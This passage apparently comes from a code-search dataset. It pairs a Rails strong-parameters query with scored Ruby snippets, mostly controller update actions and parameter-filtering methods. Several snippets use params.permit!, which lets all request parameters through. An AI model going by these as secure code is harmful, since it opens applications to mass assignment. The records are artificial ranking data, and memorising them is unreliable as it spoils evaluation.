"docid": "940daa9fd1f01d3dcfd94f8e0e18aaa8",
"score": "0.5924401",
"text": "def update\n @articulo = Articulo.find(params[:id])\n\n respond_to do |format|\n if @articulo.update_attributes(params[:articulo])\n format.html { redirect_to @articulo, notice: 'Articulo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @articulo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "364f8f5b5269469507b2c105bb5c889c",
"score": "0.592136",
"text": "def update\n\n respond_to do |format|\n if @cfo.update_attributes(params[:cfo])\n format.html { redirect_to cfos_url, notice: 'ЦФО обновлён.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cfo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "650d533d404859540f1cb6c1a80de8f7",
"score": "0.5920716",
"text": "def update\n respond_to do |format|\n if @fotos_empresa.update(fotos_empresa_params)\n format.html { redirect_to @fotos_empresa, notice: 'Fotos empresa was successfully updated.' }\n format.json { render :show, status: :ok, location: @fotos_empresa }\n else\n format.html { render :edit }\n format.json { render json: @fotos_empresa.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "522e1b05fd08fb9229881e7e139a3a7d",
"score": "0.5918863",
"text": "def update\n @inventario = Inventario.find(params[:id])\n @foto = @inventario.foto\n \n @service = InventarioService.new(@inventario, @foto)\n respond_to do |format|\n\n if @inventario.update_attributes(params[:inventario],params[:foto_file])\n format.html { redirect_to(@inventario, :notice => 'Inventario was successfully updated.') }\n format.xml { head :ok }\n else\n\t @foto = @service.foto\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @inventario.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b3c11bf445c917a2dd1245ea5f4a8dce",
"score": "0.5916159",
"text": "def update\n @diretor = Diretor.order('nome')\n @ator = Ator.order('nome')\n\n respond_to do |format|\n if @filme.update_attributes(filme_params)\n format.html { redirect_to @filme, notice: 'O filme foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @filme.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2ea53bcc6a6ea5f92852634bb0af13b6",
"score": "0.5915989",
"text": "def update\n pai = params[:pai] ? Conta.find_by_id(params[:pai]): nil\n \n respond_to do |format|\n if @conta.update(nome: conta_params[:nome], status: conta_params[:status], pai: pai) \n #format.json { render :show, status: :ok, location: @conta }\n format.json { render json: @conta.to_json, status: :ok }\n else \n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "59ae9f101d9edadc7e8ab05f227c4319",
"score": "0.5915946",
"text": "def update\n respond_to do |format|\n if @conta.update(conta_params)\n format.html { redirect_to contas_path, notice: @@titulo + t('msg.update') }\n format.json { render :show, status: :ok, location: @conta }\n else\n format.html { render :edit }\n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "db20680d5294f4165e2c68b50d1bfef6",
"score": "0.59151155",
"text": "def update\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n if @asiento.update_attributes(params[:asiento])\n format.html { redirect_to @asiento, :notice => 'El apunte fue cambiado.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4b5475c277ba111ff89e7dd6a75ab6a9",
"score": "0.59135956",
"text": "def update\n respond_to do |format|\n if @contato.update(contato_params)\n format.html { redirect_to @contato, notice: 'Contato was successfully updated.' }\n format.json { render :show, status: :ok, location: @contato }\n else\n format.html { render :edit }\n format.json { render json: @contato.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d37b39a795a6e081d6480942ece1c538",
"score": "0.59135914",
"text": "def put!\n request! :put\n end",
"title": ""
},
{
"docid": "d52b54e9078880c1ebe177bc90cc1e68",
"score": "0.59129715",
"text": "def update\n respond_to do |format|\n if @ejemplo.update(ejemplo_params)\n format.html { redirect_to @ejemplo, notice: 'Ejemplo was successfully updated.' }\n format.json { render :show, status: :ok, location: @ejemplo }\n else\n format.html { render :edit }\n format.json { render json: @ejemplo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "576f27e4c99d0868b0454fedc7deba0c",
"score": "0.59120953",
"text": "def update # PATCH\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "437c4807fbe94945224ce58461c997e7",
"score": "0.5911753",
"text": "def update\n @foro = Foro.find(params[:id])\n\n respond_to do |format|\n if @foro.update_attributes(params[:foro])\n format.html { redirect_to @foro, notice: 'Foro was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @foro.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "12bbad04a8c6e10ba240594ed4352fd7",
"score": "0.5911127",
"text": "def update\n respond_to do |format|\n format.xml { head :method_not_allowed }\n format.json { head :method_not_allowed }\n end\n end",
"title": ""
},
{
"docid": "b81179dd72e7836050f63bb29e26d40d",
"score": "0.5910463",
"text": "def update\n respond_to do |format|\n if @producto.update(producto_params)\n format.html { redirect_to @producto, notice: 'Producto actualizado.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @producto.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "efe67df765cde153f17faadd1f64da63",
"score": "0.59099704",
"text": "def update\n respond_to do |format|\n if @asiento_de_servicio.update(asiento_de_servicio_params)\n format.html { redirect_to @asiento_de_servicio, notice: 'Asiento de servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @asiento_de_servicio }\n else\n format.html { render :edit }\n format.json { render json: @asiento_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "209ec30e6fe35e0cd8332588c24b4a90",
"score": "0.590918",
"text": "def update\n @funcionario = Funcionario.find(params[:id])\n\n respond_to do |format|\n if @funcionario.update_attributes(params[:funcionario])\n format.html { redirect_to @funcionario, notice: 'Funcionario was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @funcionario.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ab7fd05464f65d8dc0896b54ed9935b2",
"score": "0.5905817",
"text": "def update\n respond_to do |format|\n if @rest.update(rest_params)\n format.html { redirect_to @rest, notice: 'Rest was successfully updated.' }\n format.json { render :show, status: :ok, location: @rest }\n else\n format.html { render :edit }\n format.json { render json: @rest.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b4158a79d72737588e1efde4fe0a26dc",
"score": "0.5905442",
"text": "def update\n @metodo = Metodo.find(params[:id])\n\n respond_to do |format|\n if @metodo.update_attributes(params[:metodo])\n format.html { redirect_to metodos_url }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @metodo.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0d1496a82804b0fb270890727ba4d403",
"score": "0.59030485",
"text": "def update\n @formulario = Formulario.find(params[:id])\n\n respond_to do |format|\n if @formulario.update_attributes(params[:formulario])\n format.html { redirect_to @formulario, notice: 'Formulario was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @formulario.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "85d2ed02d760acd40f7badcfec78a18a",
"score": "0.5902264",
"text": "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"title": ""
},
{
"docid": "32feaaec6707b9482b71ac901385da2a",
"score": "0.5898385",
"text": "def update \n retorno = {erro: \"322\" ,body: \"\"}\n if @usuario.update(valid_request?)\n retorno = {erro: \"000\", body: {evento_id: @usuario.id, usuario_nome: @usuario.nome}}\n end\n render json: retorno.to_json\n end",
"title": ""
}
] |
a2099a77c85e91272ae2f9e35b937953 | Only allow a trusted parameter "white list" through. | [
{
"docid": "47fa913656f3a653c9ff8f2d1ec65a0a",
"score": "0.0",
"text": "def shmshmealattribute_params\n params.require(:shmshmealattribute).permit(:attributeName, :shmealAttribute, :shmealAtrbDate, :attributeDate, :shmealID, :menuItemID)\n end",
"title": ""
}
] | [
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7943618",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.69572574",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.6887521",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.67666084",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6733912",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.671326",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6705381",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "c436017f4e8bd819f3d933587dfa070a",
"score": "0.66612333",
"text": "def filtered_parameters; end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.66164786",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.66156906",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.65888846",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6575757",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6572969",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.6572365",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "f5e3a87909b3e5022047b4b0a64ca154",
"score": "0.65321475",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :code, :description, :user_id, :value, :cargapp_model_id, :active)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.65129966",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "58d1451e57b0e767db2fc6721dfaa6be",
"score": "0.65128386",
"text": "def allowed_parameters\n parameters.keys\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.64990044",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "52d4c66cc205503f7ad6a4feaedab9b8",
"score": "0.6491305",
"text": "def parameter_params\n params.require(:parameter).permit(:name, :value, :description)\n end",
"title": ""
},
{
"docid": "a3dc8b6db1e6584a8305a96ebb06ad21",
"score": "0.6489574",
"text": "def need_params\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.6476191",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e64490ed35123aafa1b4627bd165517d",
"score": "0.645836",
"text": "def allowed_params\n [:title, :description, :is_template, :template_id, :user_id, :color]\n end",
"title": ""
},
{
"docid": "aa0aeac5c232d2a3c3f4f7e099e7e6ff",
"score": "0.64389294",
"text": "def parameters\n params.permit(permitted_params)\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.6431918",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.642512",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.6420569",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.6420569",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "bd826c318f811361676f5282a9256071",
"score": "0.63804525",
"text": "def filter_parameters; end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.63736504",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6355191",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.6355191",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "cac0774e508766d2f487cbca3db95df0",
"score": "0.6336598",
"text": "def allow_params?\n definition[:param_tokens]\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.6319846",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "55aa899fab0dfa44916f71c499998ca8",
"score": "0.63113743",
"text": "def parameter_params\n params.require(:parameter).permit(:key, :value)\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6292978",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "b63ab280629a127ecab767e2f35b8ef0",
"score": "0.6292978",
"text": "def params\n @_params ||= super.tap {|p| p.permit!}.to_unsafe_h\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.6291",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "585f461bf01ed1ef8d34fd5295a96dca",
"score": "0.6291",
"text": "def param_whitelist\n whitelist = [\n :message,\n :privacy,\n :author_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:author_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "64ea65f903dbe0c9c0cc0e9a20ed2e7f",
"score": "0.6290657",
"text": "def good_option_params\n permit_params\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.62724084",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.6266407",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "572f75fa86537d103ddf7b5503f06515",
"score": "0.6265082",
"text": "def parameter_params\n params.require(:parameter).permit(:title)\n end",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.6262119",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "b4ac8bc6941a87425ac2dc42a226295f",
"score": "0.6258491",
"text": "def filtered_params_config; end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.6243215",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "63944d10aa4cde014b8332874db87cb9",
"score": "0.62372005",
"text": "def excluded_from_filter_parameters=(_arg0); end",
"title": ""
},
{
"docid": "67fe19aa3f1169678aa999df9f0f7e95",
"score": "0.6228103",
"text": "def list_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "6fc2bac4c842e4285d685333ba68e5e9",
"score": "0.6226018",
"text": "def admin_parameter_params\n params.require(:admin_parameter).permit(:name, :inss_hour_price, :private_hour_price, :is_eval)\n end",
"title": ""
},
{
"docid": "d8b02fce801fc219417d86d0ca117836",
"score": "0.6225602",
"text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end",
"title": ""
},
{
"docid": "d8b02fce801fc219417d86d0ca117836",
"score": "0.6225602",
"text": "def _valid_params\n valid_params # method private cause needed only for internal usage\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.62250364",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "6008e8707eafce375988b3c7ccf098c3",
"score": "0.62147176",
"text": "def original_params; end",
"title": ""
},
{
"docid": "4ba8f5cdb0399571d60b7242794ce47f",
"score": "0.62035644",
"text": "def permitted_resource_params\n params[resource.object_name].present? ? params.require(resource.object_name).permit! : ActionController::Parameters.new\n end",
"title": ""
},
{
"docid": "356c5fd5dcbe9214f1330792fa2e18b5",
"score": "0.61931455",
"text": "def param_whitelist\n whitelist = [\n :name,\n :details,\n :completed,\n :started_at, :finished_at,\n :team_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:team_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "b977c2daceb28f26ee659336b2b98aa9",
"score": "0.618889",
"text": "def params\n raise \"Override protected method `params'.\"\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6180647",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "706df0e25391ed2b932f54a646bb0a10",
"score": "0.6180104",
"text": "def list_name_param opts={}\n params.require(:list).permit(:name)\n end",
"title": ""
},
{
"docid": "7646659415933bf751273d76b1d11b40",
"score": "0.6175616",
"text": "def whitelisted_observation_params\n return unless params[:observation]\n\n params[:observation].permit(whitelisted_observation_args)\n end",
"title": ""
},
{
"docid": "d3732ff42abd0a618a006d1f24e31e38",
"score": "0.61731255",
"text": "def add_to_filter_parameters; end",
"title": ""
},
{
"docid": "8e54eaded22dd280d836e96375fed9a4",
"score": "0.61730814",
"text": "def paramun_params\n params.require(:parametre).permit!\n end",
"title": ""
},
{
"docid": "f8c05c05fb596260a51d3ab4fb42243d",
"score": "0.6172509",
"text": "def required_parameters\n [ ]\n end",
"title": ""
},
{
"docid": "19080b9212dc7ba3727f80cc9430e426",
"score": "0.6172386",
"text": "def special_params\n params.require(:special).permit(:name, :description, :function)\n end",
"title": ""
},
{
"docid": "3f5347ed890eed5ea86b70281803d375",
"score": "0.6163843",
"text": "def user_params\n params.permit!\n end",
"title": ""
},
{
"docid": "3da9117a80cdfd040f0f0ed9d3ffed55",
"score": "0.6146083",
"text": "def allowable_params(unfiltered_params)\n unfiltered_params.permit(:property_id, :branch_id, :client_name, :branch_name,\n :department, :reference_number, :address_name, :address_number, :address_street,\n :address2, :address3, :address4, :address_postcode, :country, :display_address,\n :property_bedrooms, :property_bathrooms, :property_ensuites, :property_reception_rooms,\n :property_kitchens, :display_property_type, :property_type, :property_style,\n :property_age, :floor_area, :floor_area_units, :property_feature1, :property_feature2,\n :property_feature3, :property_feature4, :property_feature5, :property_feature6,\n :property_feature7, :property_feature8, :property_feature9, :property_feature10,\n :price, :for_sale_poa, :price_qualifier, :property_tenure, :sale_by,\n :development_opportunity, :investment_opportunity, :estimated_rental_income,\n :availability, :main_summary, :full_description, :date_last_modified,\n :featured_property, :region_id, :latitude, :longitude,\n flags_attributes: [:title],\n images_attributes: [:url, :modified],\n floorplans_attributes: [:url, :modified],\n epc_graphs_attributes: [:url, :modified],\n epc_front_pages_attributes: [:url, :modified],\n brochures_attributes: [:url, :modified],\n virtual_tours_attributes: [:url, :modified],\n external_links_attributes: [:url, :description, :modified])\n end",
"title": ""
},
{
"docid": "b9e34b5ac2955add85639f9ca0a07b7f",
"score": "0.6145458",
"text": "def resource_params\n permits = resource_whitelist\n params.require(model_symbol).permit(permits)\n end",
"title": ""
},
{
"docid": "d646c7ba579499db9edadb606c8b9910",
"score": "0.61444825",
"text": "def permitted_params\n logger.warn \"#{self}: please override `permitted_params` method.\"\n params.require(resource_request_name).permit!\n end",
"title": ""
},
{
"docid": "4425e2f97b4355b14334b9744f19c412",
"score": "0.6143515",
"text": "def additional_permitted_params\n []\n end",
"title": ""
},
{
"docid": "4425e2f97b4355b14334b9744f19c412",
"score": "0.6143515",
"text": "def additional_permitted_params\n []\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.61364955",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "c4a951d3ba89c6d098a96d3d5a2b8643",
"score": "0.61280644",
"text": "def collection_permitted_params\n params.permit(:format, :page, :per_page, :sort, :include, :locale, fields: {}, filter: {})\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6113519",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "34fb76d8decc10cd29ada824ff70ae63",
"score": "0.6112032",
"text": "def permitted_resource_params\n p params[object_name].present? ? params.require(object_name).permit! : ActionController::Parameters.new\n end",
"title": ""
},
{
"docid": "9736586d5c470252911ec58107dff461",
"score": "0.6106793",
"text": "def params_without_classmate_data\n params.clone.permit!.except(*(CLASSMATE_PARAM_NAMES + DEBUG_PARAMS))\n end",
"title": ""
},
{
"docid": "11f5f8959aba1f4022c60509f20e40af",
"score": "0.61061025",
"text": "def permit_params\n params[:permit]\n end",
"title": ""
},
{
"docid": "45791845cef485d15b7014088dd0be8d",
"score": "0.6105072",
"text": "def allowed_params\n %i[title body]\n end",
"title": ""
},
{
"docid": "4632c7949842c8534d66b50254032add",
"score": "0.6092409",
"text": "def parameterization_params\n params.permit(:name, :user_id, :number_value, :money_value)\n end",
"title": ""
},
{
"docid": "bfa951108b69c8eed106b7ad8acbcbfd",
"score": "0.60909486",
"text": "def data_param\n params.permit(:value)\n end",
"title": ""
},
{
"docid": "0bdcbbe05beb40f7a08bdc8e57b7eca8",
"score": "0.60895824",
"text": "def filter_params\n end",
"title": ""
},
{
"docid": "63f5e4e9733f9e6b3f98d5e069440292",
"score": "0.6083517",
"text": "def black_list_params\r\n params.require(:black_list).permit(:user)\r\n end",
"title": ""
},
{
"docid": "6af3741c8644ee63d155db59be10a774",
"score": "0.6081807",
"text": "def allowed_params\n %i[\n lock_version\n comments\n organization\n job_title\n pronouns\n year_of_birth\n gender\n ethnicity\n opted_in\n invite_status\n acceptance_status\n registered\n registration_type\n can_share\n registration_number\n can_photo\n can_record\n name\n name_sort_by\n name_sort_by_confirmed\n pseudonym\n pseudonym_sort_by\n pseudonym_sort_by_confirmed\n ]\n end",
"title": ""
},
{
"docid": "f70301232281d001a4e52bd9ba4d20f5",
"score": "0.6079226",
"text": "def room_allowed_params\n end",
"title": ""
},
{
"docid": "44a1ec524e77d2a2c4b85e8341df27db",
"score": "0.6077248",
"text": "def product_params\n params.permit(:visible)\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.60767365",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "c31ef48e8fd467d94158d7ac7f405a3f",
"score": "0.60746986",
"text": "def list_params\n params.permit(:id, :public_id, :name, :list, :visibility, values: [])\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.60703695",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.6070048",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "a50ca4c82eaf086dcbcc9b485ebd4261",
"score": "0.6069783",
"text": "def white_listed_parameters\n params\n .require(:story)\n .permit(:title, :link, :upvotes, :category)\n end",
"title": ""
},
{
"docid": "c1f13277dbc8ff3a9f65df027f9d915a",
"score": "0.6063365",
"text": "def permitted_params(unpermitted_params)\n unpermitted_params.permit(\n :controller,\n :action,\n :site_id,\n :format,\n :type,\n :path_contains,\n :new_url_contains,\n :tagged,\n )\n end",
"title": ""
},
{
"docid": "cf963fb451b51d62fcc986deb020a044",
"score": "0.6047726",
"text": "def permit_params\n\t\t\t\teval(@configuration.get_params)\n\t\t\tend",
"title": ""
},
{
"docid": "77b78ffc267fcf03379cf09c63ad361c",
"score": "0.60399187",
"text": "def gallery_params\n params.require(:gallery).permit(:name, :white_list)\n end",
"title": ""
},
{
"docid": "be92e82ba93b35cac91b7c02d6a445f7",
"score": "0.6033119",
"text": "def get_params\r\n #params.require(:view_adm).permit(:name, :action_scope,:caps,:cols)\r\n params.require(:view_adm).permit!\r\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.6029004",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "5b72cb3f5ae45681ff116df46f5da01b",
"score": "0.6025425",
"text": "def provider_params\n params.permit(:name)\n end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.60199857",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.60199857",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
},
{
"docid": "7402112b5e653d343b91b6d38c203c59",
"score": "0.6019158",
"text": "def params; end",
"title": ""
}
] |
c2c397e20e7ddb8fa2db47f73e9b7352 | method to create a new tree, and ask the user to "interact" with it | [
{
"docid": "e843b7c4d7f578b2a2a2e0eb9c6b84ea",
"score": "0.6174485",
"text": "def init\n tree = OrangeTree.new\n\n input = \"\"\n\n while input != \"bye\"\n print \"what is your command? Chose from 'status', 'one year passes', 'pick', 'bye'. >> \"\n input = gets.chomp\n dispatch input, tree\n end\nend",
"title": ""
}
] | [
{
"docid": "864ee1fc06a984868a336c2658eb0216",
"score": "0.6572372",
"text": "def CreateTreeDialog\n OpenTreeNextBackDialog()\n nil\n end",
"title": ""
},
{
"docid": "fb00eacd1e9b28f4e165a47382bece80",
"score": "0.62324125",
"text": "def create\n\t\t@tree = Tree.new\n\t\t@tree.name = tree_params[:name]\n\t\t@tree.uid = cookies[:seed_id]\n\t\tsession[:import] = false\n\t\t\n\t\tif not (tree_params[:brackets].nil? or tree_params[:brackets].empty?)\n\t\t\t@tree.parse_txt(tree_params[:brackets])\n\t\t\tsession[:import] = true\n\t\tend\n\t\t@tree.save\n\t\tredirect_to @tree\n\tend",
"title": ""
},
{
"docid": "3350cb4b06234e7ef9b9ab80abf8736d",
"score": "0.6158825",
"text": "def create_tree\n #TODO: prompt for file name... implement if time\n @reader.file = \"sample.html\"\n @reader.convert_file\n @tree.populate(parser(@reader.html))\n end",
"title": ""
},
{
"docid": "03eaa37e7e5d1092ff7a2a0182871983",
"score": "0.6011922",
"text": "def new\n @tree = Tree.new\n end",
"title": ""
},
{
